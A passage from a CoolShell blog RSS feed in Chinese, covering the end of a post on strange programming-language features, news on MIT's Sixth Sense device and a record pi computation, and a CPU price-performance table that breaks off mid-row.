*from++;\n    case 6:     *to++ = *from++;\n    case 5:     *to++ = *from++;\n    case 4:     *to++ = *from++;\n    case 3:     *to++ = *from++;\n    case 2:     *to++ = *from++;\n    case 1:     *to++ = *from++;\n            }while(--n&gt;0);\n    }\n} </pre>\n<p><strong>8、PHP中的字符串当函数用</strong></p>\n<p>PHP中的某些用法也是很怪异的</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">$x = &quot;foo&quot;;\nfunction foo(){ echo &quot;wtf&quot;; }\n$x();</pre>\n<p><strong>9、在C++中，你可以使用空指针调用静态函数</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">class Foo {\n  public:\n    static void bar() {\n      std::cout &lt;&lt; &quot;bar()&quot; &lt;&lt; std::endl;\n    }\n};\n \nint main(void) {\n  Foo * foo = NULL;\n  foo-&gt;bar(); //=&gt; WTF!?\n  return 0; // Ok!\n}</pre>\n<p>呵呵。的确是挺怪异的。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1850.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/programming_language-150x150.jpg\" alt=\"Javascript程序员嘴最脏??\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1850.html\" class=\"wp_rp_title\">Javascript程序员嘴最脏??</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" alt=\"程序员眼中的编程语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_title\">程序员眼中的编程语言</a></li><li ><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" alt=\"编程语言汽车\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_title\">编程语言汽车</a></li><li ><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"到处都是Unix的胎记\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_title\">到处都是Unix的胎记</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2053.html\">最为奇怪的程序语言的特性</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2053.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>39</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>“第六感装置”的惊人潜力</title>\n\t\t<link>https://coolshell.cn/articles/2047.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2047.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 09 Jan 2010 04:10:09 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[MIT Media Lab]]></category>\n\t\t<category><![CDATA[Prarnav Mistry]]></category>\n\t\t<category><![CDATA[Sixth Sense]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2047</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我们总是在于“现实生活”和“电脑的数字生活”中的差异，这两个世界难道不可以合并吗？美国MIT Media Lab（麻省理工学院媒体实验室）的天才学生普拉纳夫- ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2047.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2047.html\">“第六感装置”的惊人潜力</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我们总是在于“现实生活”和“电脑的数字生活”中的差异，这两个世界难道不可以合并吗？美国MIT Media Lab（麻省理工学院媒体实验室）的天才学生普拉纳夫- (Prarnav Mistry)，发明了一项结合实体世界和虚拟世界的科技，令人惊喜，感叹创造力的惊人。下面是视频。翻译还OK。</p>\n<p align=center><embed src=\"http://player.youku.com/player.php/sid/35441513/v.swf\" quality=\"high\" width=\"480\" height=\"400\" align=\"middle\" allowScriptAccess=\"sameDomain\" type=\"application/x-shockwave-flash\"></embed></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6346.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/01/481px-Ada_Lovelace_1838-150x150.jpg\" alt=\"程序员因为女孩而美丽！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6346.html\" class=\"wp_rp_title\">程序员因为女孩而美丽！</a></li><li ><a href=\"https://coolshell.cn/articles/2964.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"25个jQuery的编程小抄\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2964.html\" class=\"wp_rp_title\">25个jQuery的编程小抄</a></li><li ><a href=\"https://coolshell.cn/articles/2622.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/Martin-Flower1-150x150.jpg\" alt=\"为什么敏捷方法能在软件开发中行之有效？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2622.html\" class=\"wp_rp_title\">为什么敏捷方法能在软件开发中行之有效？</a></li><li ><a href=\"https://coolshell.cn/articles/4844.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"“另类” 设计模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4844.html\" class=\"wp_rp_title\">“另类” 设计模式</a></li><li ><a href=\"https://coolshell.cn/articles/3716.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"WordPress是怎么赢的？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3716.html\" class=\"wp_rp_title\">WordPress是怎么赢的？</a></li><li ><a href=\"https://coolshell.cn/articles/873.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" alt=\"谁说C语言很简单？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/873.html\" class=\"wp_rp_title\">谁说C语言很简单？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2047.html\">“第六感装置”的惊人潜力</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2047.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>16</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>PI小数点位数的新纪录</title>\n\t\t<link>https://coolshell.cn/articles/2043.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2043.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 08 Jan 2010 00:28:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[PI]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2043</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>PI小数点后的位数据个数据的纪录被刷新了，被一台PC机刷新的。新的纪录把PI的小点数后面的位数整到了近2.7万亿位，太BT了。下面的链接是本次经录的通告： ht...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2043.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2043.html\">PI小数点位数的新纪录</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>PI小数点后的位数据个数据的纪录被刷新了，被一台PC机刷新的。新的纪录把PI的小点数后面的位数整到了近2.7万亿位，太BT了。下面的链接是本次经录的通告：</p>\n<p style=\"text-align: center;\"><a href=\"http://bellard.org/pi/pi2700e9/announce.html\" target=\"_blank\">http://bellard.org/pi/pi2700e9/announce.html</a></p>\n<p style=\"text-align: left;\">这个通告宣称：</p>\n<ul>\n<li>\n<div style=\"text-align: left;\">PI后的小数点位数被计算到了2,699,999,990,000位。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">为了保存计算结果，一共花了，1137GB的硬盘空间。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">本次计算使用了价值2000欧元左右的PC机，CPU是Core i7 CPU at 2.93 GHz ，内存6GB，5个1.5TB的希捷硬盘。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">操作系统使用的是Linux  64 bit Red Hat Fedora 10 distribution，7.5TB的硬盘被做成了RAID-0阵列，使用了ext4文件系统。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">整个计算时间花了131天（4个半月），其中，103天用于计算PI的二进制结果，13天用于验证二进制结果，花了12天把二进制转成十进制，最后花了3天再验证了转换。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">上一次的记录是<a href=\"http://www.hpcs.is.tsukuba.ac.jp/~daisuke/pi.html\">2.577 万亿小数位</a>，于2009年8月17日创造。其使用了超过百万欧元的超级计算机（Appro Xtreme-X3 Server）。</div>\n</li>\n</ul>\n<p style=\"text-align: left;\">相关的技术细节请看这里：<a href=\"http://bellard.org/pi/pi2700e9/pipcrecord.pdf\">http://bellard.org/pi/pi2700e9/pipcrecord.pdf</a></p>\n<p style=\"text-align: left;\">我想了想，算这个玩意花了多少度电，产生了多少废气，太不环保了。呵呵。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11235.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"一个浮点数跨平台产生的问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11235.html\" class=\"wp_rp_title\">一个浮点数跨平台产生的问题</a></li><li ><a href=\"https://coolshell.cn/articles/2688.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"在Javascript里写Python\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2688.html\" class=\"wp_rp_title\">在Javascript里写Python</a></li><li ><a href=\"https://coolshell.cn/articles/1561.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"Google Maps API用法教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1561.html\" class=\"wp_rp_title\">Google Maps API用法教程</a></li><li ><a href=\"https://coolshell.cn/articles/2428.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"如何管理并设计你的口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2428.html\" class=\"wp_rp_title\">如何管理并设计你的口令</a></li><li ><a href=\"https://coolshell.cn/articles/4429.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/07/Question-150x150.jpg\" alt=\"面试题：火车运煤问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4429.html\" class=\"wp_rp_title\">面试题：火车运煤问题</a></li><li ><a href=\"https://coolshell.cn/articles/7126.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"这到底是谁之错？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7126.html\" class=\"wp_rp_title\">这到底是谁之错？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2043.html\">PI小数点位数的新纪录</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2043.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>9</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>CPU的性价比</title>\n\t\t<link>https://coolshell.cn/articles/2039.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2039.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 08 Jan 2010 00:09:00 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[AMD]]></category>\n\t\t<category><![CDATA[CPU]]></category>\n\t\t<category><![CDATA[Intel]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2039</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面这个网站是关于CPU的性价比的，其中的性能数据来源于cpubenchmark.net，而价格数据来源于：newegg.com。 http://paulisa...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2039.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2039.html\">CPU的性价比</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面这个网站是关于CPU的性价比的，其中的性能数据来源于<a href=\"http://www.cpubenchmark.net/cpu_list.php\">cpubenchmark.net</a>，而价格数据来源于：<a href=\"http://www.newegg.com/Store/Category.aspx?Category=34\">newegg.com</a>。</p>\n<p style=\"text-align: center;\"><a href=\"http://paulisageek.com/compare/cpu/\" target=\"_blank\">http://paulisageek.com/compare/cpu/</a></p>\n<p style=\"text-align: left;\">于是，得出了目前性价比最差的是：Intel Xeon X5570 @ 2.93GHz，最好的是：AMD Phenom 9850 Quad-Core，下面是一个性价比表格。</p>\n<p style=\"text-align: left;\"><span id=\"more-2039\"></span></p>\n<p><center></p>\n<table border=\"0\">\n<thead>\n<tr>\n<th id=\"yui-dt0-th-Name\">CPU类型</th>\n<th id=\"yui-dt0-th-Performance\">性能</th>\n<th id=\"yui-dt0-th-Price\">价值</th>\n<th id=\"yui-dt0-th-PerformancePrice\">性价比</th>\n</tr>\n</thead>\n<tbody></tbody>\n<tbody>\n<tr id=\"yui-rec20\">\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103280\">AMD Phenom 9850 Quad-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9850+Quad-Core\">2864</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103280\">89.99</a></td>\n<td>31.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103706\">AMD Athlon II X4 620</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X4+620\">3084</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103706\">99.00</a></td>\n<td>31.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103726\">AMD Athlon II X3 425</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X3+425\">2366</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103726\">76.00</a></td>\n<td>31.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103772\">AMD Athlon 64 X2 Dual Core 6000+</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+64+X2+Dual+Core+6000%2B\">1577</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103772\">53.99</a></td>\n<td>29.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103704\">AMD Athlon II X4 630</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X4+630\">3282</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103704\">112.99</a></td>\n<td>29.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103279\">AMD Athlon 64 X2 Dual Core 5600+</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+64+X2+Dual+Core+5600%2B\">1473</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103279\">50.99</a></td>\n<td>28.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116265\">Intel Celeron E3200 @ 2.40GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Celeron+E3200+%40+2.40GHz\">1515</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116265\">52.99</a></td>\n<td>28.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103724\">AMD Athlon II X3 435</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X3+435\">2416</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103724\">87.00</a></td>\n<td>27.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103295\">AMD Phenom 8750 Triple-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+8750+Triple-Core\">2000</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103295\">72.99</a></td>\n<td>27.4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103688\">AMD Athlon II X2 240</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X2+240\">1603</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103688\">58.99</a></td>\n<td>27.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103687\">AMD Athlon II X2 245</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X2+245\">1679</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103687\">62.00</a></td>\n<td>27.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116264\">Intel Celeron E3300 @ 2.50GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Celeron+E3300+%40+2.50GHz\">1668</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116264\">62.99</a></td>\n<td>26.5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103698\">AMD Sempron 140</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Sempron+140\">913</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103698\">35.99</a></td>\n<td>25.4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116072\">Pentium Dual-Core E5200 @ 2.50GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Pentium+Dual-Core+E5200+%40+2.50GHz\">1631</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116072\">64.50</a></td>\n<td>25.3</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103681\">AMD Athlon II X2 250</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X2+250\">1663</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103681\">67.00</a></td>\n<td>24.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116074\">Pentium Dual-Core E5300 @ 2.60GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Pentium+Dual-Core+E5300+%40+2.60GHz\">1706</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116074\">69.99</a></td>\n<td>24.4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116075\">Intel Celeron E1500 @ 2.20GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Celeron+E1500+%40+2.20GHz\">1216</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116075\">49.99</a></td>\n<td>24.3</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103656\">AMD Phenom II X4 925</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+925\">3377</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103656\">140.99</a></td>\n<td>24</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103287\">AMD Phenom 9150e Quad-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9150e+Quad-Core\">2148</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103287\">89.99</a></td>\n<td>23.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116091\">Pentium Dual-Core E6300 @ 2.80GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Pentium+Dual-Core+E6300+%40+2.80GHz\">1859</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116091\">80.99</a></td>\n<td>23</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103813\">AMD Phenom 9750 Quad-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9750+Quad-Core\">2727</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103813\">119.00</a></td>\n<td>22.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115207\">Intel Core2 Quad Q8300 @ 2.50GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q8300+%40+2.50GHz\">3554</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115207\">159.99</a></td>\n<td>22.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115055\">Intel Core2 Quad Q8200 @ 2.33GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q8200+%40+2.33GHz\">3221</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115055\">148.99</a></td>\n<td>21.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103650\">AMD Phenom II X4 810</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+810\">3019</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103650\">139.99</a></td>\n<td>21.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103288\">AMD Phenom 9650 Quad-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9650+Quad-Core\">2595</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103288\">119.99</a></td>\n<td>21.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116093\">Pentium Dual-Core E6500 @ 2.93GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Pentium+Dual-Core+E6500+%40+2.93GHz\">2042</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116093\">94.99</a></td>\n<td>21.5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115215\">Intel Core i5 750 @ 2.67GHz</a></td>\n<td><a 